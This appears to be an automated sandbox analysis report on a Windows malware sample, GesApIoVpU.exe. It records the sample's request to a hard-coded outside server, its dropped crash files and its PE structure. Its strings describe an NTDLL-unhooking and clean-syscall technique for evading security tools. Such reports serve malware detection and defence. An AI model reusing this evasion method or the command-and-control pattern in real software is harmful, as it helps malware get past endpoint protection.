120.46.149.112	6zZSlt35Hr.exe	Get hash	malicious	Unknown	Browse	120.46.149.112:8888/safekey

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CNIX-APChinaNetworksInter-ExchangeCN	pDxGUuWkQt.exe	Get hash	malicious	Unknown	Browse	120.46.149.112
	6zZSlt35Hr.exe	Get hash	malicious	Unknown	Browse	120.46.149.112
	sora.ppc.elf	Get hash	malicious	Unknown	Browse	36.119.225.164
	sora.sh4.elf	Get hash	malicious	Mirai	Browse	36.116.144.198
	SecuriteInfo.com.Linux.Siggen.9999.16227.30183.elf	Get hash	malicious	Mirai	Browse	36.126.70.65
	sora.mips.elf	Get hash	malicious	Unknown	Browse	211.103.157.253
	firmware.m68k.elf	Get hash	malicious	Unknown	Browse	101.54.87.28
	firmware.sh4.elf	Get hash	malicious	Unknown	Browse	110.232.49.249
	KKveTTgaAAsecNNaaaa.arm.elf	Get hash	malicious	Unknown	Browse	116.128.44.170
	KKveTTgaAAsecNNaaaa.i686.elf	Get hash	malicious	Unknown	Browse	117.119.126.204

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_GesApIoVpU.exe_5ea3397a741e5f68ac27938378e376aaae817630_80bf81c8_24071944-6c9e-4368-85e3-787597bc2646\Report.wer

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.8880040942813662
Encrypted:	false
SSDEEP:	192:aMEi67kD50193TajI5VzuiFgZ24lO8P4:tEi67k+193GjEzuiFgY4lO8P
MD5:	C50F686CA720B80D51FD8C6F0F0DDCE5
SHA1:	A8C28F3DB57F84D6FDFF264C68634DEE91B45074
SHA-256:	4CAE016AF3865C774EF251A94E0A3CFFF4B8BFD3F20BDA05BC324D37CB44C266
SHA-512:	9D0A81635A3352C453A018635D0BF9EFAC7E820CD2554CC2F82F9F586C7F5EABEC76F5F5CD1217EEDFE4A3E99F0A1EBA841ADD73AFB734C5DF9B1758CD2EA268
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.6.9.4.8.8.2.0.5.8.0.0.0.8.6.4.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.6.9.4.8.8.2.0.6.2.3.7.5.7.7.8.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.2.4.0.7.1.9.4.4.-.6.c.9.e.-.4.3.6.8.-.8.5.e.3.-.7.8.7.5.9.7.b.c.2.6.4.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.1.e.7.f.9.6.4.-.f.a.2.4.-.4.3.2.4.-.a.d.4.1.-.e.b.9.5.d.4.2.e.c.1.e.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....N.s.A.p.p.N.a.m.e.=.G.e.s.A.p.I.o.V.p.U...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.c.b.c.-.0.0.0.1.-.0.0.1.4.-.a.4.b.3.-.9.c.6.f.c.9.f.a.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.5.b.7.e.9.e.2.0.4.a.1.5.8.7.5.7.d.6.8.6.8.5.6.0.f.b.0.a.f.c.f.2.0.0.0.0.f.f.f.f.!.0.0.0.0.c.3.1.5.c.d.7.1.4.3.c.0.1.a.d.b.1.6.7.f.8.1.d.2.e.2.d.5.d.f.9.8.e.8.7.2.e.d.2.c.!.G.e.s.A.p.I.o.V.p.U...e.x.e.....T.a.r.g.e.t.A.p.p.V.e.r.=.2.0.2.4././.0.8././.2.9.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6991.tmp.dmp

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Fri Aug 30 10:43:26 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	139306
Entropy (8bit):	1.430812376457852
Encrypted:	false
SSDEEP:	384:eisig8gHLuJvndgVKti8pg6WuSMXLbIbB:eisig+vWKhL
MD5:	49700D0EBA9BCF6C269A579A3D57BE04
SHA1:	FA3081B8CD750E72D699F4ED42CA5A8F89EAFBEB
SHA-256:	556D3116AD00BF8E8B9BD28F06B517E5143D0A88416494A2A4DB2EE5ECC36CFD
SHA-512:	3345DCE6C94FAB325D689433763F30720F403B4542046F22C2C8BC0BBFC6AF3F8BD65A88E5028F774215A47C4798FE13435B3E516FCA04561C33E4600DD84239
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......N..f.........................................P..........T.......8...........T............+..........................................................................................................eJ......$.......Lw......................T...........J..f.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A6D.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8766
Entropy (8bit):	3.7132257225926466
Encrypted:	false
SSDEEP:	192:R6l7wVeJ7klSn6Y9UnYgmfQJsjprl89b3Gwdhfnl9m:R6lXJom6YOnYgmf093xdhfne
MD5:	A14F9ED7205D5ECD712D2020F1F15CF0
SHA1:	33B457241BEBFFA3E862BFD52F228FFAFE9E6925
SHA-256:	B14C18FAC25BBCA848D3C2BB295D4992F5AF0D8C8E2761F06C882DF7DB3B425B
SHA-512:	47B294F5560E53A9069BA48695E08F6F54166C674B1FB18F19779FB7ED6B2769DC687D35A81A06A693A4866DA34F5E4693CD055D5F4300FE16DCA023B7271C09
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.3.5.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER6A8D.tmp.xml

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4677
Entropy (8bit):	4.496787733933627
Encrypted:	false
SSDEEP:	48:cvIwWl8zsmJg771I9i4u/WpW8VYYkYm8M4JNfFyhyq850FhNTd:uIjf8I7gZ7VTJEBhNTd
MD5:	96C18B12B9368F854C38004B565C688F
SHA1:	AEBBE0F5ACB84815DB8994EAEE0B1FBA19C2276A
SHA-256:	C996DDBAB381303A061D6A4614345F3F0948320AF3A1357BC5A761AA8E47C346
SHA-512:	7343535539B62C130EB1A0D97872DDE959F45136392F91B439C20C09AE80533B68DE2A4B26671ED691AA40932B13D29FEF93A99E60A093A4AD061FFAC75357F2
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="478186" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\System32\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465608108265668
Encrypted:	false
SSDEEP:	6144:1IXfpi67eLPU9skLmb0b4nWSPKaJG8nAgejZMMhA2gX4WABl0uNRdwBCswSbt:2XD94nWlLZMM6YFHb+t
MD5:	A3E8D7EA5615E02ED1674B1834373861
SHA1:	BFEFBDB1E40E7032FB0B9A642E52E3E6BD8E9D8B
SHA-256:	36AC2EF5D177440BF5364D70B2AABEA8B124BC411BA10DCB5E1E2591B42532E3
SHA-512:	59E033B468ED2F698D2854AF6AF9BF9628A331F12855FC4CB8F6956B989D5DEA4482180E17BB070C0C9D9CA9DFDE0BF0B6F9C5FAC39B982557E6153CCCCE0318
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm&IHq................................................................................................................................................................................................................................................................................................................................................I)^E........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	5.259454112239684
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	GesApIoVpU.exe
File size:	15'360 bytes
MD5:	c8f9956ef78e7878d289a8b9197eefdb
SHA1:	c315cd7143c01adb167f81d2e2d5df98e872ed2c
SHA256:	ff21ad97101c63845d80c0df6808575d05095fa902821dc4fa52e462ef338140
SHA512:	76cf5b92aeecf269d5a33904f13492cab47d2abb437f749360d27f823a3b9de26b402aaea0114ebd90be94844624990e173265b2391aec9449fa5ac3dded7a0e
SSDEEP:	192:QXuUtk2QNN8H5ieAHwgUEZRHOeErlQes3Q5tfcri:QXrfQNNnDHwg8eiQes3
TLSH:	A7624B4AF76239FAC535C23A8AB22525AC757E424336C2DF677449380F776C0342A74E
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........M...#...#...#.......#..."...#...&...#...'...#... ...#.n."...#..."...#.e.*...#.e.....#.e.!...#.Rich..#........................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x140001bb0
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x66D10AC1 [Thu Aug 29 23:56:49 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	6c3fb4f7aa279b02cca9ac579678671d

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FF3DC505CACh
dec eax
add esp, 28h
jmp 00007FF3DC505747h
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
dec eax
mov ebx, ecx
xor ecx, ecx
call dword ptr [0000148Bh]
dec eax
mov ecx, ebx
call dword ptr [0000148Ah]
call dword ptr [00001474h]
dec eax
mov ecx, eax
mov edx, C0000409h
dec eax
add esp, 20h
pop ebx
dec eax
jmp dword ptr [00001458h]
dec eax
mov dword ptr [esp+08h], ecx
dec eax
sub esp, 38h
mov ecx, 00000017h
call dword ptr [0000143Ch]
test eax, eax
je 00007FF3DC5058D9h
mov ecx, 00000002h
int 29h
dec eax
lea ecx, dword ptr [000034C2h]
call 00007FF3DC50597Eh
dec eax
mov eax, dword ptr [esp+38h]
dec eax
mov dword ptr [000035A9h], eax
dec eax
lea eax, dword ptr [esp+38h]
dec eax
add eax, 08h
dec eax
mov dword ptr [00003539h], eax
dec eax
mov eax, dword ptr [00003592h]
dec eax
mov dword ptr [00003403h], eax
dec eax
mov eax, dword ptr [esp+40h]
dec eax
mov dword ptr [00003507h], eax
mov dword ptr [000033DDh], C0000409h
mov dword ptr [000033D7h], 00000001h
mov dword ptr [000033E1h], 00000001h

Rich Headers

Programming Language:

[IMP] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3f2c	0xc8	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x7000	0x1e0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x6000	0x1f8	.pdata
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x8000	0x30	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x3950	0x70	.rdata
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x3810	0x140	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x3000	0x228	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x169c	0x1800	085d3ae3ae3dd8b6e3d4b52c12fe9a9f	False	0.6202799479166666	data	5.925929956842581	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x3000	0x17a0	0x1800	dfcda954d52b463011c070bb5b8cc7c6	False	0.38623046875	data	4.597731773626725	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x5000	0x648	0x200	1c3b8ea3c34144e7a14bd945b131a256	False	0.091796875	data	0.44440530617738494	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.pdata	0x6000	0x1f8	0x200	a27180f9289d0a648fd4a1816d361a24	False	0.556640625	PEX Binary Archive	3.8112609871855097	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.rsrc	0x7000	0x1e0	0x200	0b35de07beeb30d1d6013cbca2846303	False	0.525390625	data	4.701503258251789	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x8000	0x30	0x200	a2e8a3700b1d7d1f7408b448f0d9f621	False	0.12109375	data	0.6947629390682608	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x7060	0x17d	XML 1.0 document, ASCII text, with CRLF line terminators	English	United States	0.5931758530183727

Imports

DLL	Import
KERNEL32.dll	HeapCreate, VirtualProtect, VirtualAlloc, GetModuleHandleA, GetLastError, CloseHandle, K32GetModuleInformation, HeapAlloc, GetProcAddress, IsProcessorFeaturePresent, TerminateProcess, GetCurrentProcess, SetUnhandledExceptionFilter, UnhandledExceptionFilter, RtlVirtualUnwind, RtlLookupFunctionEntry, RtlCaptureContext, GetCurrentProcessId, GetCurrentThreadId, GetSystemTimeAsFileTime, InitializeSListHead, GetModuleHandleW, IsDebuggerPresent, QueryPerformanceCounter
WININET.dll	InternetOpenUrlA, InternetOpenW, InternetReadFile
VCRUNTIME140.dll	memset, __current_exception_context, __C_specific_handler, __current_exception, memcpy
api-ms-win-crt-stdio-l1-1-0.dll	__acrt_iob_func, __stdio_common_vfprintf, __p__commode, _set_fmode
api-ms-win-crt-string-l1-1-0.dll	strcmp, _wcsnicmp
api-ms-win-crt-heap-l1-1-0.dll	malloc, _set_new_mode
api-ms-win-crt-runtime-l1-1-0.dll	__p___argc, _register_onexit_function, _crt_atexit, _register_thread_local_exe_atexit_callback, terminate, _exit, _seh_filter_exe, _c_exit, _initterm_e, _cexit, _initterm, _get_initial_narrow_environment, _initialize_narrow_environment, _configure_narrow_argv, __p___argv, _initialize_onexit_table, _set_app_type, exit
api-ms-win-crt-math-l1-1-0.dll	__setusermatherr
api-ms-win-crt-locale-l1-1-0.dll	_configthreadlocale

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 30, 2024 12:43:23.411659002 CEST	49732	8888	192.168.2.4	120.46.149.112
Aug 30, 2024 12:43:23.447254896 CEST	8888	49732	120.46.149.112	192.168.2.4
Aug 30, 2024 12:43:23.447376966 CEST	49732	8888	192.168.2.4	120.46.149.112
Aug 30, 2024 12:43:23.454171896 CEST	49732	8888	192.168.2.4	120.46.149.112
Aug 30, 2024 12:43:23.476402044 CEST	8888	49732	120.46.149.112	192.168.2.4
Aug 30, 2024 12:43:25.647142887 CEST	8888	49732	120.46.149.112	192.168.2.4
Aug 30, 2024 12:43:25.647294044 CEST	49732	8888	192.168.2.4	120.46.149.112
Aug 30, 2024 12:43:25.666166067 CEST	49732	8888	192.168.2.4	120.46.149.112
Aug 30, 2024 12:43:25.697664976 CEST	8888	49732	120.46.149.112	192.168.2.4

HTTP Request Dependency Graph

120.46.149.112:8888

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	120.46.149.112	8888	7356	C:\Users\user\Desktop\GesApIoVpU.exe

Timestamp	Bytes transferred	Direction	Data
Aug 30, 2024 12:43:23.454171896 CEST	96	OUT	GET /safekey HTTP/1.1 User-Agent: myapp Host: 120.46.149.112:8888 Cache-Control: no-cache

Target ID:	0
Start time:	06:43:22
Start date:	30/08/2024
Path:	C:\Users\user\Desktop\GesApIoVpU.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\GesApIoVpU.exe"
Imagebase:	0x7ff6d25a0000
File size:	15'360 bytes
MD5 hash:	C8F9956EF78E7878D289A8B9197EEFDB
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	06:43:25
Start date:	30/08/2024
Path:	C:\Windows\System32\WerFault.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WerFault.exe -u -p 7356 -s 1072
Imagebase:	0x7ff6c9c90000
File size:	570'736 bytes
MD5 hash:	FD27D9F6D02763BDE32511B5DF7FF7A0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	43%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	45.7%
Total number of Nodes:	138
Total number of Limit Nodes:	5

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00007FF6D25A13B0 Relevance: 82.5, APIs: 26, Strings: 21, Instructions: 205
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

printf.MSPDB140-MSVCRT ref: 00007FF6D25A13D5

Part of subcall function 00007FF6D25A1010: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6D25A1038
Part of subcall function 00007FF6D25A1010: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6D25A1057

GetModuleHandleA.KERNEL32 ref: 00007FF6D25A13E1
GetLastError.KERNEL32 ref: 00007FF6D25A13EF
printf.MSPDB140-MSVCRT ref: 00007FF6D25A13FE
GetProcAddress.KERNEL32 ref: 00007FF6D25A142B
printf.MSPDB140-MSVCRT ref: 00007FF6D25A14EA
CloseHandle.KERNEL32 ref: 00007FF6D25A14F3

Strings

[*] Size of .TEXT Section..................: %zd, xrefs: 00007FF6D25A15FB
NtUnmapViewOfSection, xrefs: 00007FF6D25A16B2
.text, xrefs: 00007FF6D25A1598
[-] NtProtectVirtualMemory - 2: Error., xrefs: 00007FF6D25A1696
[*] Hooked NTDLL .TEXT Section VA..........: 0x%p, xrefs: 00007FF6D25A15DE
[-] GetModuleHandleA error: %d, xrefs: 00007FF6D25A13F7
[+] All done., xrefs: 00007FF6D25A16EF
[-] NtUnmapViewOfSection error: %X, xrefs: 00007FF6D25A16D5
[*] Using Technique-2, Reads NTDLL From KnownDlls and Clean., xrefs: 00007FF6D25A13CE
[-] GetModuleInformation error: %d, xrefs: 00007FF6D25A153E
[-] NtOpenSection error., xrefs: 00007FF6D25A1482
[+] NTDLL is cleaned. Closing handles..., xrefs: 00007FF6D25A16A6
[-] NtProtectVirtualMemory - 1: Error., xrefs: 00007FF6D25A1640
[*] Clean NTDLL .TEXT Section VA...........: 0x%p, xrefs: 00007FF6D25A15ED
ntdll.dll, xrefs: 00007FF6D25A13DA
\KnownDlls\ntdll.dll, xrefs: 00007FF6D25A143A
RtlInitUnicodeString, xrefs: 00007FF6D25A1417
[*] Clean NTDLL Base Address...............: 0x%p, xrefs: 00007FF6D25A1504
[-] NtMapViewOfSection error., xrefs: 00007FF6D25A14E3
[*] Clean Section Handle Address...........: 0x%p, xrefs: 00007FF6D25A148F
[*] Hooked NTDLL Base Address..............: 0x%p, xrefs: 00007FF6D25A1559

Memory Dump Source

Source File: 00000000.00000002.2068035102.00007FF6D25A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D25A0000, based on PE: true

Associated: 00000000.00000002.2067789388.00007FF6D25A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2068508714.00007FF6D25A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2068582893.00007FF6D25A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d25a0000_GesApIoVpU.jbxd

Similarity

API ID: printf$Handle$AddressCloseErrorLastModuleProc__acrt_iob_func__stdio_common_vfprintf
String ID: [+] NTDLL is cleaned. Closing handles...$.text$NtUnmapViewOfSection$RtlInitUnicodeString$[*] Clean NTDLL .TEXT Section VA...........: 0x%p$[*] Clean NTDLL Base Address...............: 0x%p$[*] Clean Section Handle Address...........: 0x%p$[*] Hooked NTDLL .TEXT Section VA..........: 0x%p$[*] Hooked NTDLL Base Address..............: 0x%p$[*] Size of .TEXT Section..................: %zd$[*] Using Technique-2, Reads NTDLL From KnownDlls and Clean.$[+] All done.$[-] GetModuleHandleA error: %d$[-] GetModuleInformation error: %d$[-] NtMapViewOfSection error.$[-] NtOpenSection error.$[-] NtProtectVirtualMemory - 1: Error.$[-] NtProtectVirtualMemory - 2: Error.$[-] NtUnmapViewOfSection error: %X$\KnownDlls\ntdll.dll$ntdll.dll
API String ID: 3667996920-1111665865
Opcode ID: 17433d8e5b18d352697a7b495b8225d878b9aa8bba58b30be5a7a49aa5fbee4b
Instruction ID: ceada8d54d67756ac46fb2733dc696c3e71c9f860ba804e591695b9ade5fa963
Opcode Fuzzy Hash: 17433d8e5b18d352697a7b495b8225d878b9aa8bba58b30be5a7a49aa5fbee4b
Instruction Fuzzy Hash: F7A16025B18A4695E710DF60E442EBD73A0FB8478CF404637D94ED3698EEBCF5658360

Function 00007FF6D25A1740 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 109
memorynetworkfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6D25A1070: printf.MSPDB140-MSVCRT ref: 00007FF6D25A108C
Part of subcall function 00007FF6D25A1070: _wcsnicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6D25A10C1
Part of subcall function 00007FF6D25A1070: printf.MSPDB140-MSVCRT ref: 00007FF6D25A10DC

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FF6D25A1770
InternetOpenW.WININET ref: 00007FF6D25A181C
InternetOpenUrlA.WININET ref: 00007FF6D25A1841
InternetReadFile.WININET ref: 00007FF6D25A1858
HeapCreate.KERNELBASE ref: 00007FF6D25A18CC
RtlAllocateHeap.NTDLL ref: 00007FF6D25A18E0
memcpy.VCRUNTIME140 ref: 00007FF6D25A18F5

Part of subcall function 00007FF6D25A13B0: printf.MSPDB140-MSVCRT ref: 00007FF6D25A13D5
Part of subcall function 00007FF6D25A13B0: GetModuleHandleA.KERNEL32 ref: 00007FF6D25A13E1
Part of subcall function 00007FF6D25A13B0: GetLastError.KERNEL32 ref: 00007FF6D25A13EF
Part of subcall function 00007FF6D25A13B0: printf.MSPDB140-MSVCRT ref: 00007FF6D25A13FE

Strings

qvan, xrefs: 00007FF6D25A185E
myapp, xrefs: 00007FF6D25A1811

Memory Dump Source

Source File: 00000000.00000002.2068035102.00007FF6D25A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6D25A0000, based on PE: true

Associated: 00000000.00000002.2067789388.00007FF6D25A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2068508714.00007FF6D25A3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2068582893.00007FF6D25A6000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6d25a0000_GesApIoVpU.jbxd

Similarity

API ID: printf$Internet$HeapOpen$AllocateCreateErrorFileHandleLastModuleRead_wcsnicmpmallocmemcpy
String ID: myapp$qvan
API String ID: 235151083-30057361
Opcode ID: ea5788ac8741f9db8325683b7f9a115cd81f8e4bb8d0dc42e7ae88fd5e91e5ff
Instruction ID: 7cf5b991c675c3db72d8fdb117d903b71f1509484ecb052b530abd822b966f35
Opcode Fuzzy Hash: ea5788ac8741f9db8325683b7f9a115cd81f8e4bb8d0dc42e7ae88fd5e91e5ff
Instruction Fuzzy Hash: E8414D21A0C68555E7508F24E402F3EBBA0FB8ABD8F409236DA8D83B55DF6CF154C710

Function 00007FF6D25A1070 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 150
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

printf.MSPDB140-MSVCRT ref: 00007FF6D25A108C

Part of subcall function 00007FF6D25A1010: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6D25A1038
Part of subcall function 00007FF6D25A1010: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF6D25A1057

_wcsnicmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FF6D25A10C1
printf.MSPDB140-MSVCRT ref: 00007FF6D25A10DC
printf.MSPDB140-MSVCRT ref: 00007FF6D25A11F6
printf.MSPDB140-MSVCRT ref: 00007FF6D25A1204
printf.MSPDB140-MSVCRT ref: 00007FF6D25A1212
printf.MSPDB140-MSVCRT ref: 00007FF6D25A1220
VirtualAlloc.KERNELBASE ref: 00007FF6D25A1236
printf.MSPDB140-MSVCRT ref: 00007FF6D25A124B
VirtualProtect.KERNELBASE ref: 00007FF6D25A12EA

Strings

[*] Parsing LdrpThunkSignature For Clean Syscalls., xrefs: 00007FF6D25A1085
[*] NtMapViewOfSection syscall number......: %02x, xrefs: 00007FF6D25A1219
[*] NtCreateSection syscall number.........: %02x, xrefs: 00007FF6D25A11FD
[!] Cannot allocate memory for syscals stubs., xrefs: 00007FF6D25A1244
[!] Cannot find NTDLL., xrefs: 00007FF6D25A10D5
